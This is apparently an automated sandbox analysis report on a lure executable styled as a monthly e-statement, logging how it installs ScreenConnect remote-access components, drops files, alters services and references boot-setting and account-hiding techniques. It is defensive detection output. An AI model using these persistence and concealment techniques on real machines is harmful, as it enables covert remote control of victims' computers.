Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000009.00000000.2436546858.0000000000BA2000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsClient.exe.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbW] source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D916000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DB2A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DC3E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2451601548.000000001BEB2000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Windows.dll0.2.dr, ScreenConnect.Windows.dll.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D8E9000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DB2A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2447633526.0000000002CA2000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Client.dll.2.dr, ScreenConnect.Client.dll0.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D738000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DB2A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DC3E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000A.00000002.2446246290.0000000004CB2000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.Core.dll0.2.dr, ScreenConnect.Core.dll.2.dr

PE file contains a valid data directory to section mapping

Source: monthly-eStatementForum120478962.Client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Binary contains a suspicious time stamp

Source: ScreenConnect.WindowsBackstageShell.exe.2.dr

Static PE information: 0xB80EE04C [Tue Nov 8 12:57:48 2067 UTC]

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

0_2_009A1000

PE file contains an invalid checksum

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: real checksum: 0x1bda6 should be: 0x1d486

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Code function: 0_2_009A1BC0 push ecx; ret	0_2_009A1BD3
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848E2D2A5 pushad ; iretd	2_2_00007FF848E2D2A6
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F65FED push es; retf FFFFh	2_2_00007FF848F65FEF
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F58E01 push 8B495C96h; iretd	2_2_00007FF848F58E0C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F47D00 push eax; retf	2_2_00007FF848F47D1D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F58D31 push 8B495C96h; iretd	2_2_00007FF848F58D3C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F400BD pushad ; iretd	2_2_00007FF848F400C1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F4842E pushad ; ret	2_2_00007FF848F4845D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F4845E push eax; ret	2_2_00007FF848F4846D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F514F8 push E95C9A94h; ret	2_2_00007FF848F51529
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FF848F04162 push eax; ret	9_2_00007FF848F04163
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FF848F02D68 push eax; ret	9_2_00007FF848F02E7B
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FF848F02FDA pushad ; retf	9_2_00007FF848F02FDB
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FF848F03F3A pushad ; retf	9_2_00007FF848F03F3B
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FF848F000BD pushad ; iretd	9_2_00007FF848F000C1
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FF848F030BA push eax; iretd	9_2_00007FF848F030BB
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 9_2_00007FF848F0401A push eax; iretd	9_2_00007FF848F0401B
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 12_2_00007FF848F100BD pushad ; iretd	12_2_00007FF848F100C1

Persistence and Installation Behavior

Drops PE files

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.ClientService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Core.dll	Jump to dropped file

May use bcdedit to modify the Windows boot settings

Source: ScreenConnect.ClientService.dll.2.dr	Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Source: ScreenConnect.ClientService.dll0.2.dr	Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}

Boot Survival

Creates or modifies windows services

Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application

Modifies existing windows services

Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (4b43e651-6d21-48a4-a5c8-8436b8ee48ae)

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.2451601548.000000001BEB2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.exe, 0000000A.00000002.2445494046.00000000027A2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000C.00000002.3289162550.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000C.00000002.3288573826.00000000012B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.ClientService.dll.2.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.ClientService.dll0.2.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll0.2.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.Windows.dll.2.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

Stores large binary data to the registry

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
